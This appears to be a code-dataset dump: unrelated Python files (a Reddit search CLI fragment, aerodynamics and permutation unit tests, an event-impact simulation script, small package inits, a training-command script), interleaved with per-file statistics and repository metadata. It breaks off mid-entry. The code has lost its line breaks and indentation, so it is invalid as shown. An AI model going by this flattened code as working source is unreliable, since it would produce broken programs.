print("{0:<5} \33[31m {1} \33[5m".format('', 'Nothing to View')) def search(input): with open('reddit/variables.json', 'rb') as jsonf: dictvals = pickle.load(jsonf) jsonf.close() if input != None: dictvals['nextpreviousnormal'] = "False" dictvals['nextprevioussubreddits'] = "False" temp = 0 del dictvals['links'][:] del dictvals['listofsubmissions'][:] del dictvals['listofsubreddits'][:] try: searchs = reddit.subreddit('all').search(str(input),limit = 100) for listvals in searchs: dictvals['listofsubmissions'].append(listvals) except: print("{0:<5} \33[31m {1} \33[5m".format('', 'Invalid Entry')) else: for i in range(0,len(dictvals['listofsubmissions'])): if temp<10: temp = temp + 1 wrapped = fill(dictvals['listofsubmissions'][i].title, width=71, subsequent_indent=' '*7) print("\33[92m {0:<4} \33[0m {1}".format(str(i + 1), wrapped)) wrapped = fill(dictvals['listofsubmissions'][i].url, width=71, subsequent_indent=' '*7) print("{0:<5} \33[90m {1} \33[0m".format('', wrapped)) print("{0:<5} \33[90m {1} Upvotes with {2} Comments \33[0m".format('', str(dictvals['listofsubmissions'][i].ups), str(dictvals['listofsubmissions'][i].num_comments))) dictvals['links'].append(dictvals['listofsubmissions'][i].url) dictvals['listed'] = "True" dictvals['countlist'] = temp if len(dictvals['listofsubmissions']) >= 10: print("\33[90m (\33[0m\33[93m {} \33[0m\33[90m) \33[0m".format('next')) dictvals['nextpreviousnormal'] = "True" with open('reddit/variables.json', 'wb') as f: pickle.dump(dictvals,f) f.close() else: print("{0:<5} \33[31m {1} \33[5m".format('', 'Enter Something To Search'))

58.370861

194

0.509644

1,870

17,628

4.781283

0.07754

0.028185

0.025836

0.033218

0.832905

0.798121

0.781344

0.753943

0.732133

0

0.068966

0.325505

17,628

301

195

58.564784

0.683011

0.001191

0

0.690909

0

0.054545

0.251903

0.020561

0

1

0.025455

false

0

0.018182

0

0.047273

0.196364

0

null

0

1

0

null

0

6

48977ea5dec7bd2f371edfa2689770459494abf2

43

py

Python

socketlabs/__init__.py

MattHealy/socketlabs-python

890647cc0cd952ed1a52bdd96f7e9dd8c28810c9

[ "MIT" ]

null

socketlabs/__init__.py

MattHealy/socketlabs-python

890647cc0cd952ed1a52bdd96f7e9dd8c28810c9

[ "MIT" ]

4

2015-12-13T10:39:31.000Z

2018-11-30T00:58:08.000Z

socketlabs/__init__.py

MattHealy/socketlabs-python

890647cc0cd952ed1a52bdd96f7e9dd8c28810c9

[ "MIT" ]

null

from . socketlabs import SocketLabs # noqa

21.5

42

0.790698

5

43

6.8

0.8

0

0.162791

43

1

43

0.944444

0.093023

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

489e4a2d386d8c1a809a3799fd4b2d3bb012eff1

2,204

py

Python

openaerostruct/aerodynamics/tests/test_viscous_drag.py

EricUrbineer/OpenAeroStruct

26c37a0e86074517680405687824e27b3b2caaec

[ "Apache-2.0" ]

4

2020-09-15T23:24:15.000Z

2021-01-11T19:59:39.000Z

openaerostruct/aerodynamics/tests/test_viscous_drag.py

EricUrbineer/OpenAeroStruct

26c37a0e86074517680405687824e27b3b2caaec

[ "Apache-2.0" ]

null

openaerostruct/aerodynamics/tests/test_viscous_drag.py

EricUrbineer/OpenAeroStruct

26c37a0e86074517680405687824e27b3b2caaec

[ "Apache-2.0" ]

2

2020-08-25T16:38:14.000Z

2020-12-03T09:49:45.000Z

import unittest from openaerostruct.aerodynamics.viscous_drag import ViscousDrag from openaerostruct.utils.testing import run_test, get_default_surfaces from openmdao.api import Group, IndepVarComp, BsplinesComp import numpy as np class Test(unittest.TestCase): def test(self): surface = get_default_surfaces()[0] surface['t_over_c_cp'] = np.array([0.1, 0.15, 0.2]) nx = surface['mesh'].shape[0] ny = surface['mesh'].shape[1] n_cp = len(surface['t_over_c_cp']) group = Group() indep_var_comp = IndepVarComp() indep_var_comp.add_output('t_over_c_cp', val=surface['t_over_c_cp']) group.add_subsystem('indep_var_comp', indep_var_comp, promotes=['*']) group.add_subsystem('t_over_c_bsp', BsplinesComp( in_name='t_over_c_cp', out_name='t_over_c', num_control_points=n_cp, num_points=int(ny-1), bspline_order=min(n_cp, 4), distribution='uniform'), promotes_inputs=['t_over_c_cp'], promotes_outputs=['t_over_c']) comp = ViscousDrag(surface=surface, with_viscous=True) group.add_subsystem('viscousdrag', comp, promotes=['*']) run_test(self, group, complex_flag=True) def test_2(self): surface = get_default_surfaces()[0] surface['k_lam'] = .5 nx = surface['mesh'].shape[0] ny = surface['mesh'].shape[1] n_cp = len(surface['t_over_c_cp']) group = Group() indep_var_comp = IndepVarComp() indep_var_comp.add_output('t_over_c_cp', val=surface['t_over_c_cp']) group.add_subsystem('indep_var_comp', indep_var_comp, promotes=['*']) group.add_subsystem('t_over_c_bsp', BsplinesComp( in_name='t_over_c_cp', out_name='t_over_c', num_control_points=n_cp, num_points=int(ny-1), bspline_order=min(n_cp, 4), distribution='uniform'), promotes_inputs=['t_over_c_cp'], promotes_outputs=['t_over_c']) comp = ViscousDrag(surface=surface, with_viscous=True) group.add_subsystem('viscousdrag', comp, promotes=['*']) run_test(self, group, complex_flag=True) if __name__ == '__main__': unittest.main()

35.548387

77

0.65608

307

2,204

4.32899

0.247557

0.063958

0.076749

0.066215

0.790068

0.784048

0.728367

0

0.010901

0.209165

2,204

61

78

36.131148

0.751578

0

0.727273

0

0.124319

0

1

0.045455

false

0

0.113636

0

0.181818

0

null

0

1

0

1

0

null

0

6

48a609fb12f8d8c4bbc48328fd289fffc7608961

5,776

py

Python

tests/permutation/test_permutation.py

alexgorji/musurgia

81d37afbf1ac70348002a93299db228b5ed4a591

[ "MIT" ]

null

tests/permutation/test_permutation.py

alexgorji/musurgia

81d37afbf1ac70348002a93299db228b5ed4a591

[ "MIT" ]

45

2020-02-24T19:37:00.000Z

2021-04-06T16:13:56.000Z

tests/permutation/test_permutation.py

alexgorji/musurgia

81d37afbf1ac70348002a93299db228b5ed4a591

[ "MIT" ]

null

from unittest import TestCase from musurgia.permutation import LimitedPermutation, self_permute, get_self_multiplied_permutation, \ get_reordered_self_multiplied_permutation, get_vertical_self_multiplied_permutation class Test(TestCase): def test_1_1(self): permutation_order = [3, 1, 2] self_permutation = self_permute(permutation_order) result = [[3, 1, 2], [2, 3, 1], [1, 2, 3]] self.assertEqual(result, self_permutation) def test_1_2(self): permutation_order = [3, 1, 2] self_multiplied_permutation = get_self_multiplied_permutation(permutation_order) result = [[[1, 2, 3], [3, 1, 2], [2, 3, 1]], [[2, 3, 1], [1, 2, 3], [3, 1, 2]], [[3, 1, 2], [2, 3, 1], [1, 2, 3]]] self.assertEqual(result, self_multiplied_permutation) def test_1_3(self): permutation_order = [3, 1, 2] reordered_self_multiplied_permutation = get_reordered_self_multiplied_permutation(permutation_order) result = [[[3, 1, 2], [2, 3, 1], [1, 2, 3]], [[1, 2, 3], [3, 1, 2], [2, 3, 1]], [[2, 3, 1], [1, 2, 3], [3, 1, 2]]] self.assertEqual(result, reordered_self_multiplied_permutation) def test_1_4(self): permutation_order = [3, 1, 2] vertical_self_multiplied_permutation = get_vertical_self_multiplied_permutation(permutation_order) result = [[[1, 3, 2], [2, 1, 3], [3, 2, 1]], [[2, 1, 3], [3, 2, 1], [1, 3, 2]], [[3, 2, 1], [1, 3, 2], [2, 1, 3]]] self.assertEqual(result, vertical_self_multiplied_permutation) def test_2_1(self): perm = LimitedPermutation(['a', 'b', 'c'], [3, 1, 2], multi=[1, 1]) result = [[3, 1, 2], [2, 3, 1], [1, 2, 3], [1, 2, 3], [3, 1, 2], [2, 3, 1], [2, 3, 1], [1, 2, 3], [3, 1, 2]] self.assertEqual(result, perm.multiplied_orders) def test_2_2(self): perm = LimitedPermutation(['a', 'b', 'c'], [3, 1, 2], multi=[1, 1], reading_direction='vertical') result = [[1, 3, 2], [2, 1, 3], [3, 2, 1], [2, 1, 3], [3, 2, 1], [1, 3, 2], [3, 2, 1], [1, 3, 2], [2, 1, 3]] self.assertEqual(result, perm.multiplied_orders) def test_3_1(self): permutation_order = [3, 4, 2, 1] self_multiplied_permutation = get_self_multiplied_permutation(permutation_order) result = [[[4, 3, 1, 2], [1, 2, 3, 4], [2, 1, 4, 3], [3, 4, 2, 1]], [[2, 1, 4, 3], [3, 4, 2, 1], [1, 2, 3, 4], [4, 3, 1, 2]], [[1, 2, 3, 4], [4, 3, 1, 2], [3, 4, 2, 1], [2, 1, 4, 3]], [[3, 4, 2, 1], [2, 1, 4, 3], [4, 3, 1, 2], [1, 2, 3, 4]]] self.assertEqual(result, self_multiplied_permutation) def test_3_2(self): permutation_order = [3, 4, 2, 1] reordered_self_multiplied_permutation = get_reordered_self_multiplied_permutation(permutation_order) result = [[[3, 4, 2, 1], [2, 1, 4, 3], [4, 3, 1, 2], [1, 2, 3, 4]], [[4, 3, 1, 2], [1, 2, 3, 4], [2, 1, 4, 3], [3, 4, 2, 1]], [[2, 1, 4, 3], [3, 4, 2, 1], [1, 2, 3, 4], [4, 3, 1, 2]], [[1, 2, 3, 4], [4, 3, 1, 2], [3, 4, 2, 1], [2, 1, 4, 3]]] self.assertEqual(result, reordered_self_multiplied_permutation) def test_3_3(self): permutation_order = [3, 4, 2, 1] vertical_self_multiplied_permutation = get_vertical_self_multiplied_permutation(permutation_order) result = [[[4, 1, 2, 3], [3, 2, 1, 4], [1, 3, 4, 2], [2, 4, 3, 1]], [[2, 3, 1, 4], [1, 4, 2, 3], [4, 2, 3, 1], [3, 1, 4, 2]], [[1, 4, 3, 2], [2, 3, 4, 1], [3, 1, 2, 4], [4, 2, 1, 3]], [[3, 2, 4, 1], [4, 1, 3, 2], [2, 4, 1, 3], [1, 3, 2, 4]]] self.assertEqual(result, vertical_self_multiplied_permutation) def test_4_1(self): permutation_order = [4, 3, 2, 1] self_multiplied_permutation = get_self_multiplied_permutation(permutation_order) result = [[[1, 2, 3, 4], [4, 3, 2, 1], [1, 2, 3, 4], [4, 3, 2, 1]], [[4, 3, 2, 1], [1, 2, 3, 4], [4, 3, 2, 1], [1, 2, 3, 4]], [[1, 2, 3, 4], [4, 3, 2, 1], [1, 2, 3, 4], [4, 3, 2, 1]], [[4, 3, 2, 1], [1, 2, 3, 4], [4, 3, 2, 1], [1, 2, 3, 4]]] self.assertEqual(result, self_multiplied_permutation) def test_4_2(self): permutation_order = [4, 3, 2, 1] vertical_self_multiplied_permutation = get_vertical_self_multiplied_permutation(permutation_order) result = [[[1, 4, 1, 4], [2, 3, 2, 3], [3, 2, 3, 2], [4, 1, 4, 1]], [[4, 1, 4, 1], [3, 2, 3, 2], [2, 3, 2, 3], [1, 4, 1, 4]], [[1, 4, 1, 4], [2, 3, 2, 3], [3, 2, 3, 2], [4, 1, 4, 1]], [[4, 1, 4, 1], [3, 2, 3, 2], [2, 3, 2, 3], [1, 4, 1, 4]]] self.assertEqual(result, vertical_self_multiplied_permutation) def test_5(self): size = 3 tree_permutation_order = (3, 1, 2) multi = (3, 4) permutation = LimitedPermutation(input_list=list(range(1, size + 1)), main_permutation_order=tree_permutation_order, multi=multi) result = permutation.multi expected = (1, 1) self.assertEqual(expected, result) def test_6(self): size = 3 tree_permutation_order = (3, 1, 2) multi = (2, 4) permutation = LimitedPermutation(input_list=list(range(1, size + 1)), main_permutation_order=tree_permutation_order, multi=multi) result = permutation.multi expected = (3, 1) self.assertEqual(expected, result)

49.367521

116

0.505194

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0.045714

0.048323

0.036783

0.025965

0.916336

0.888208

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0.804904

0.739993

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5,776

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null

0

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null

0

6

d28ca8914568a48d0eb5e60447bd90c6dcbfb22c

1,084

py

Python

run_models.py

AineKiraboMbabazi/AIPND_Image_Classifier

7289adc5f1e811bf09144bd31dbb7c010a27dbc5

[ "MIT" ]

null

run_models.py

AineKiraboMbabazi/AIPND_Image_Classifier

7289adc5f1e811bf09144bd31dbb7c010a27dbc5

[ "MIT" ]

null

run_models.py

AineKiraboMbabazi/AIPND_Image_Classifier

7289adc5f1e811bf09144bd31dbb7c010a27dbc5

[ "MIT" ]

null

#!/bin/sh # */home/workspace/Image classifier/run_models.sh # # PROGRAMMER: Ainekirabo Mbabazi # DATE CREATED: 06/12/2019 # PURPOSE: Runs all three models # # # Usage: sh run_models.sh -- will run program from commandline # python train.py flowers --save_dir checkpoint.pth --arch vgg13 --learning_rate 0.001 --hidden_units 1000 --epochs 5 --gpu python predict.py 'flowers/test/28/image_05230.jpg' checkpoint.pth --top_k 5 --category_names cat_to_name.json --gpu python train.py flowers --save_dir checkpoint_1.pth --arch 'densenet201' --learning_rate 0.001 --hidden_units 1000 --epochs 5 --gpu python predict.py 'flowers/test/28/image_05230.jpg' checkpoint_1.pth --top_k 5 --category_names cat_to_name.json --gpu python train.py flowers --save_dir checkpoint_.pth --arch 'alexnet' --learning_rate 0.001 --hidden_units 1000 --epochs 5 --gpu python predict.py 'flowers/test/28/image_05230.jpg' checkpoint_.pth --top_k 5 --category_names cat_to_name.json --gpu

57.052632

133

0.678967

157

1,084

4.496815

0.388535

0.076487

0.055241

0.084986

0.725212

0.652975

0

0.076923

0.208487

1,084

18

134

60.222222

0.745921

0.292435

0

0.14702

0.123179

0

null

0

null

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null

0

1

0

null

0

1

0

6

d2caaf77625cd0b2e6d2c8c0bdeab17a71079193

111

py

Python

calculation/gmhazard_calc/gmhazard_calc/im/__init__.py

ucgmsim/gmhazard

d3d90b4c94b3d9605597a3efeccc8523a1e50c0e

[ "MIT" ]

null

calculation/gmhazard_calc/gmhazard_calc/im/__init__.py

ucgmsim/gmhazard

d3d90b4c94b3d9605597a3efeccc8523a1e50c0e

[ "MIT" ]

8

2021-10-13T02:33:23.000Z

2022-03-29T21:01:08.000Z

calculation/gmhazard_calc/gmhazard_calc/im/__init__.py

ucgmsim/gmhazard

d3d90b4c94b3d9605597a3efeccc8523a1e50c0e

[ "MIT" ]

null

from .IM import IM, IMType, IMComponent, to_string_list, to_im_list, IM_COMPONENT_MAPPING, DEFAULT_PSA_PERIODS

55.5

110

0.846847

18

111

4.777778

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0

1

0

6

961262872db068a55a767058c77c17b5924c7223

17,466

py

Python

simulations.py

diozaka/eitest

b2c37ad93e7760673a2f46279f913bd03440a8f2

[ "MIT" ]

2

2020-05-21T11:53:20.000Z

2020-11-01T06:12:49.000Z

simulations.py

diozaka/eitest

b2c37ad93e7760673a2f46279f913bd03440a8f2

[ "MIT" ]

null

simulations.py

diozaka/eitest

b2c37ad93e7760673a2f46279f913bd03440a8f2

[ "MIT" ]

null

import sys import numpy as np import numba import eitest if len(sys.argv) != 5: print(f'USAGE: {sys.argv[0]} eager|lazy instant|causal tt|ks|mmd none|bonferroni|sidak|holm|hochberg|simes') sys.exit(1) # command line parameters sample_method = sys.argv[1] instantaneous = (sys.argv[2] == 'instant') twosamp_test = sys.argv[3] multi_test = sys.argv[4] # other global parameters default_T = 8192 n_pairs = 100 alpha = 0.05 lag_cutoff = 32 @numba.njit def event_series_bernoulli(series_length, event_count): '''Generate an iid Bernoulli distributed event series. series_length: length of the event series event_count: number of events''' event_series = np.zeros(series_length) event_series[np.random.choice(np.arange(0, series_length), event_count, replace=False)] = 1 return event_series @numba.njit def time_series_mean_impact(event_series, order, signal_to_noise): '''Generate a time series with impacts in mean as described in the paper. The impact weights are sampled iid from N(0, signal_to_noise), and additional noise is sampled iid from N(0,1). The detection problem will be harder than in time_series_meanconst_impact for small orders, as for small orders we have a low probability to sample at least one impact weight with a high magnitude. On the other hand, since the impact is different at every lag, we can detect the impacts even if the order is larger than the max_lag value used in the test. event_series: input of shape (T,) with event occurrences order: order of the event impacts signal_to_noise: signal to noise ratio of the event impacts''' series_length = len(event_series) weights = np.random.randn(order)*np.sqrt(signal_to_noise) time_series = np.random.randn(series_length) for t in range(series_length): if event_series[t] == 1: time_series[t+1:t+order+1] += weights[:order-max(0, (t+order+1)-series_length)] return time_series @numba.njit def time_series_meanconst_impact(event_series, order, const): '''Generate a time series with impacts in mean by adding a constant. Better for comparing performance across different impact orders, since the magnitude of the impact will always be the same. event_series: input of shape (T,) with event occurrences order: order of the event impacts const: constant for mean shift''' series_length = len(event_series) time_series = np.random.randn(series_length) for t in range(series_length): if event_series[t] == 1: time_series[t+1:t+order+1] += const return time_series @numba.njit def time_series_var_impact(event_series, order, variance): '''Generate a time series with impacts in variance as described in the paper. event_series: input of shape (T,) with event occurrences order: order of the event impacts variance: variance under event impacts''' series_length = len(event_series) time_series = np.random.randn(series_length) for t in range(series_length): if event_series[t] == 1: for tt in range(t+1, min(series_length, t+order+1)): time_series[tt] = np.random.randn()*np.sqrt(variance) return time_series @numba.njit def time_series_tail_impact(event_series, order, dof): '''Generate a time series with impacts in tails as described in the paper. event_series: input of shape (T,) with event occurrences order: delay of the event impacts dof: degrees of freedom of the t distribution''' series_length = len(event_series) time_series = np.random.randn(series_length)*np.sqrt(dof/(dof-2)) for t in range(series_length): if event_series[t] == 1: for tt in range(t+1, min(series_length, t+order+1)): time_series[tt] = np.random.standard_t(dof) return time_series def test_simul_pairs(impact_model, param_T, param_N, param_q, param_r, n_pairs, lag_cutoff, instantaneous, sample_method, twosamp_test, multi_test, alpha): true_positive = 0. false_positive = 0. for _ in range(n_pairs): es = event_series_bernoulli(param_T, param_N) if impact_model == 'mean': ts = time_series_mean_impact(es, param_q, param_r) elif impact_model == 'meanconst': ts = time_series_meanconst_impact(es, param_q, param_r) elif impact_model == 'var': ts = time_series_var_impact(es, param_q, param_r) elif impact_model == 'tail': ts = time_series_tail_impact(es, param_q, param_r) else: raise ValueError('impact_model must be "mean", "meanconst", "var" or "tail"') # coupled pair samples = eitest.obtain_samples(es, ts, lag_cutoff=lag_cutoff, method=sample_method, instantaneous=instantaneous, sort=(twosamp_test == 'ks')) # samples need to be sorted for K-S test tstats, pvals = eitest.pairwise_twosample_tests(samples, twosamp_test, min_pts=2) pvals_adj = eitest.multitest(np.sort(pvals[~np.isnan(pvals)]), multi_test) true_positive += (pvals_adj.min() < alpha) # uncoupled pair samples = eitest.obtain_samples(np.random.permutation(es), ts, lag_cutoff=lag_cutoff, method=sample_method, instantaneous=instantaneous, sort=(twosamp_test == 'ks')) tstats, pvals = eitest.pairwise_twosample_tests(samples, twosamp_test, min_pts=2) pvals_adj = eitest.multitest(np.sort(pvals[~np.isnan(pvals)]), multi_test) false_positive += (pvals_adj.min() < alpha) return true_positive/n_pairs, false_positive/n_pairs # ## Mean impact model default_N = 64 default_r = 1. default_q = 4 # ### ... by number of events vals = [4, 8, 16, 32, 64, 128, 256] tprs = np.empty(len(vals)) fprs = np.empty(len(vals)) for i, val in enumerate(vals): tprs[i], fprs[i] = test_simul_pairs(impact_model='mean', param_T=default_T, param_N=val, param_q=default_q, param_r=default_r, n_pairs=n_pairs, sample_method=sample_method, lag_cutoff=lag_cutoff, instantaneous=instantaneous, twosamp_test=twosamp_test, multi_test=multi_test, alpha=alpha) print(f'# mean impact model (T={default_T}, q={default_q}, r={default_r}, n_pairs={n_pairs}, cutoff={lag_cutoff}, instantaneous={instantaneous}, alpha={alpha}, {sample_method}-{twosamp_test}-{multi_test})') print(f'# N\ttpr\tfpr') for i, (tpr, fpr) in enumerate(zip(tprs, fprs)): print(f'{vals[i]}\t{tpr}\t{fpr}') print() # ### ... by impact order vals = [1, 2, 4, 8, 16, 32] tprs = np.empty(len(vals)) fprs = np.empty(len(vals)) for i, val in enumerate(vals): tprs[i], fprs[i] = test_simul_pairs(impact_model='mean', param_T=default_T, param_N=default_N, param_q=val, param_r=default_r, n_pairs=n_pairs, sample_method=sample_method, lag_cutoff=lag_cutoff, instantaneous=instantaneous, twosamp_test=twosamp_test, multi_test=multi_test, alpha=alpha) print(f'# mean impact model (T={default_T}, N={default_N}, r={default_r}, n_pairs={n_pairs}, cutoff={lag_cutoff}, instantaneous={instantaneous}, alpha={alpha}, {sample_method}-{twosamp_test}-{multi_test})') print(f'# q\ttpr\tfpr') for i, (tpr, fpr) in enumerate(zip(tprs, fprs)): print(f'{vals[i]}\t{tpr}\t{fpr}') print() # ### ... by signal-to-noise ratio vals = [1./32, 1./16, 1./8, 1./4, 1./2, 1., 2., 4.] tprs = np.empty(len(vals)) fprs = np.empty(len(vals)) for i, val in enumerate(vals): tprs[i], fprs[i] = test_simul_pairs(impact_model='mean', param_T=default_T, param_N=default_N, param_q=default_q, param_r=val, n_pairs=n_pairs, sample_method=sample_method, lag_cutoff=lag_cutoff, instantaneous=instantaneous, twosamp_test=twosamp_test, multi_test=multi_test, alpha=alpha) print(f'# mean impact model (T={default_T}, N={default_N}, q={default_q}, n_pairs={n_pairs}, cutoff={lag_cutoff}, instantaneous={instantaneous}, alpha={alpha}, {sample_method}-{twosamp_test}-{multi_test})') print(f'# r\ttpr\tfpr') for i, (tpr, fpr) in enumerate(zip(tprs, fprs)): print(f'{vals[i]}\t{tpr}\t{fpr}') print() # ## Meanconst impact model default_N = 64 default_r = 0.5 default_q = 4 # ### ... by number of events vals = [4, 8, 16, 32, 64, 128, 256] tprs = np.empty(len(vals)) fprs = np.empty(len(vals)) for i, val in enumerate(vals): tprs[i], fprs[i] = test_simul_pairs(impact_model='meanconst', param_T=default_T, param_N=val, param_q=default_q, param_r=default_r, n_pairs=n_pairs, sample_method=sample_method, lag_cutoff=lag_cutoff, instantaneous=instantaneous, twosamp_test=twosamp_test, multi_test=multi_test, alpha=alpha) print(f'# meanconst impact model (T={default_T}, q={default_q}, r={default_r}, n_pairs={n_pairs}, cutoff={lag_cutoff}, instantaneous={instantaneous}, alpha={alpha}, {sample_method}-{twosamp_test}-{multi_test})') print(f'# N\ttpr\tfpr') for i, (tpr, fpr) in enumerate(zip(tprs, fprs)): print(f'{vals[i]}\t{tpr}\t{fpr}') print() # ### ... by impact order vals = [1, 2, 4, 8, 16, 32] tprs = np.empty(len(vals)) fprs = np.empty(len(vals)) for i, val in enumerate(vals): tprs[i], fprs[i] = test_simul_pairs(impact_model='meanconst', param_T=default_T, param_N=default_N, param_q=val, param_r=default_r, n_pairs=n_pairs, sample_method=sample_method, lag_cutoff=lag_cutoff, instantaneous=instantaneous, twosamp_test=twosamp_test, multi_test=multi_test, alpha=alpha) print(f'# meanconst impact model (T={default_T}, N={default_N}, r={default_r}, n_pairs={n_pairs}, cutoff={lag_cutoff}, instantaneous={instantaneous}, alpha={alpha}, {sample_method}-{twosamp_test}-{multi_test})') print(f'# q\ttpr\tfpr') for i, (tpr, fpr) in enumerate(zip(tprs, fprs)): print(f'{vals[i]}\t{tpr}\t{fpr}') print() # ### ... by mean value vals = [0.125, 0.25, 0.5, 1, 2] tprs = np.empty(len(vals)) fprs = np.empty(len(vals)) for i, val in enumerate(vals): tprs[i], fprs[i] = test_simul_pairs(impact_model='meanconst', param_T=default_T, param_N=default_N, param_q=default_q, param_r=val, n_pairs=n_pairs, sample_method=sample_method, lag_cutoff=lag_cutoff, instantaneous=instantaneous, twosamp_test=twosamp_test, multi_test=multi_test, alpha=alpha) print(f'# meanconst impact model (T={default_T}, N={default_N}, q={default_q}, n_pairs={n_pairs}, cutoff={lag_cutoff}, instantaneous={instantaneous}, alpha={alpha}, {sample_method}-{twosamp_test}-{multi_test})') print(f'# r\ttpr\tfpr') for i, (tpr, fpr) in enumerate(zip(tprs, fprs)): print(f'{vals[i]}\t{tpr}\t{fpr}') print() # ## Variance impact model # In the paper, we show results with the variance impact model parametrized by the **variance increase**. Here we directly modulate the variance. default_N = 64 default_r = 8. default_q = 4 # ### ... by number of events vals = [4, 8, 16, 32, 64, 128, 256] tprs = np.empty(len(vals)) fprs = np.empty(len(vals)) for i, val in enumerate(vals): tprs[i], fprs[i] = test_simul_pairs(impact_model='var', param_T=default_T, param_N=val, param_q=default_q, param_r=default_r, n_pairs=n_pairs, sample_method=sample_method, lag_cutoff=lag_cutoff, instantaneous=instantaneous, twosamp_test=twosamp_test, multi_test=multi_test, alpha=alpha) print(f'# var impact model (T={default_T}, q={default_q}, r={default_r}, n_pairs={n_pairs}, cutoff={lag_cutoff}, instantaneous={instantaneous}, alpha={alpha}, {sample_method}-{twosamp_test}-{multi_test})') print(f'# N\ttpr\tfpr') for i, (tpr, fpr) in enumerate(zip(tprs, fprs)): print(f'{vals[i]}\t{tpr}\t{fpr}') print() # ### ... by impact order vals = [1, 2, 4, 8, 16, 32] tprs = np.empty(len(vals)) fprs = np.empty(len(vals)) for i, val in enumerate(vals): tprs[i], fprs[i] = test_simul_pairs(impact_model='var', param_T=default_T, param_N=default_N, param_q=val, param_r=default_r, n_pairs=n_pairs, sample_method=sample_method, lag_cutoff=lag_cutoff, instantaneous=instantaneous, twosamp_test=twosamp_test, multi_test=multi_test, alpha=alpha) print(f'# var impact model (T={default_T}, N={default_N}, r={default_r}, n_pairs={n_pairs}, cutoff={lag_cutoff}, instantaneous={instantaneous}, alpha={alpha}, {sample_method}-{twosamp_test}-{multi_test})') print(f'# q\ttpr\tfpr') for i, (tpr, fpr) in enumerate(zip(tprs, fprs)): print(f'{vals[i]}\t{tpr}\t{fpr}') print() # ### ... by variance vals = [2., 4., 8., 16., 32.] tprs = np.empty(len(vals)) fprs = np.empty(len(vals)) for i, val in enumerate(vals): tprs[i], fprs[i] = test_simul_pairs(impact_model='var', param_T=default_T, param_N=default_N, param_q=default_q, param_r=val, n_pairs=n_pairs, sample_method=sample_method, lag_cutoff=lag_cutoff, instantaneous=instantaneous, twosamp_test=twosamp_test, multi_test=multi_test, alpha=alpha) print(f'# var impact model (T={default_T}, N={default_N}, q={default_q}, n_pairs={n_pairs}, cutoff={lag_cutoff}, instantaneous={instantaneous}, alpha={alpha}, {sample_method}-{twosamp_test}-{multi_test})') print(f'# r\ttpr\tfpr') for i, (tpr, fpr) in enumerate(zip(tprs, fprs)): print(f'{vals[i]}\t{tpr}\t{fpr}') print() # ## Tail impact model default_N = 512 default_r = 3. default_q = 4 # ### ... by number of events vals = [64, 128, 256, 512, 1024] tprs = np.empty(len(vals)) fprs = np.empty(len(vals)) for i, val in enumerate(vals): tprs[i], fprs[i] = test_simul_pairs(impact_model='tail', param_T=default_T, param_N=val, param_q=default_q, param_r=default_r, n_pairs=n_pairs, sample_method=sample_method, lag_cutoff=lag_cutoff, instantaneous=instantaneous, twosamp_test=twosamp_test, multi_test=multi_test, alpha=alpha) print(f'# tail impact model (T={default_T}, q={default_q}, r={default_r}, n_pairs={n_pairs}, cutoff={lag_cutoff}, instantaneous={instantaneous}, alpha={alpha}, {sample_method}-{twosamp_test}-{multi_test})') print(f'# N\ttpr\tfpr') for i, (tpr, fpr) in enumerate(zip(tprs, fprs)): print(f'{vals[i]}\t{tpr}\t{fpr}') print() # ### ... by impact order vals = [1, 2, 4, 8, 16, 32] tprs = np.empty(len(vals)) fprs = np.empty(len(vals)) for i, val in enumerate(vals): tprs[i], fprs[i] = test_simul_pairs(impact_model='tail', param_T=default_T, param_N=default_N, param_q=val, param_r=default_r, n_pairs=n_pairs, sample_method=sample_method, lag_cutoff=lag_cutoff, instantaneous=instantaneous, twosamp_test=twosamp_test, multi_test=multi_test, alpha=alpha) print(f'# tail impact model (T={default_T}, N={default_N}, r={default_r}, n_pairs={n_pairs}, cutoff={lag_cutoff}, instantaneous={instantaneous}, alpha={alpha}, {sample_method}-{twosamp_test}-{multi_test})') print(f'# q\ttpr\tfpr') for i, (tpr, fpr) in enumerate(zip(tprs, fprs)): print(f'{vals[i]}\t{tpr}\t{fpr}') print() # ### ... by degrees of freedom vals = [2.5, 3., 3.5, 4., 4.5, 5., 5.5, 6.] tprs = np.empty(len(vals)) fprs = np.empty(len(vals)) for i, val in enumerate(vals): tprs[i], fprs[i] = test_simul_pairs(impact_model='tail', param_T=default_T, param_N=default_N, param_q=default_q, param_r=val, n_pairs=n_pairs, sample_method=sample_method, lag_cutoff=lag_cutoff, instantaneous=instantaneous, twosamp_test=twosamp_test, multi_test=multi_test, alpha=alpha) print(f'# tail impact model (T={default_T}, N={default_N}, q={default_q}, n_pairs={n_pairs}, cutoff={lag_cutoff}, instantaneous={instantaneous}, alpha={alpha}, {sample_method}-{twosamp_test}-{multi_test})') print(f'# r\ttpr\tfpr') for i, (tpr, fpr) in enumerate(zip(tprs, fprs)): print(f'{vals[i]}\t{tpr}\t{fpr}') print()

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null

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1

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null

0

6

961e540312696cbd519e78f2e01a4ce3945b4db3

118

py

Python

tests/factory/data_list.py

easydatapy/easydata

5e76bf7fc9f368065a82ccc99fca54b17f7e91bd

[ "BSD-3-Clause" ]

6

2020-09-06T19:06:01.000Z

2020-09-09T23:19:21.000Z

tests/factory/data_list.py

sitegroove/easydata

0e347990027b9f6cc06a1072511197f1adb50e5c

[ "BSD-3-Clause" ]

null

tests/factory/data_list.py

sitegroove/easydata

0e347990027b9f6cc06a1072511197f1adb50e5c

[ "BSD-3-Clause" ]

1

2021-07-22T17:59:20.000Z

images = [ "https://demo.com/imgs/1.jpg", "https://demo.com/imgs/2.jpg", "https://demo.com/imgs/3.jpg", ]

19.666667

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null

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6

82808848e57ade04710e5e5cf62fffc935034f63

37

py

Python

input_pipeline/__init__.py

TropComplique/wing-loss

d7335610d26cf805bf5a20ae0d70df5de85d1521

[ "MIT" ]

73

2018-06-22T12:38:16.000Z

2022-01-25T14:17:16.000Z

input_pipeline/__init__.py

TropComplique/wing-loss

d7335610d26cf805bf5a20ae0d70df5de85d1521

[ "MIT" ]

16

2018-06-25T05:09:27.000Z

2019-07-23T06:29:10.000Z

input_pipeline/__init__.py

TropComplique/wing-loss

d7335610d26cf805bf5a20ae0d70df5de85d1521

[ "MIT" ]

17

2018-08-11T13:36:45.000Z

2022-01-20T08:34:00.000Z

from .input_pipeline import Pipeline

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1

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null

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null

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1

0

1

0

1

0

6

82e1109a23bb4191d5e0935acab59d88b08a8dcd

39

py

Python

classicML/framework/__init__.py

sun1638650145/classicML

7e0c2155bccb6e491a150ee689d3786526b74565

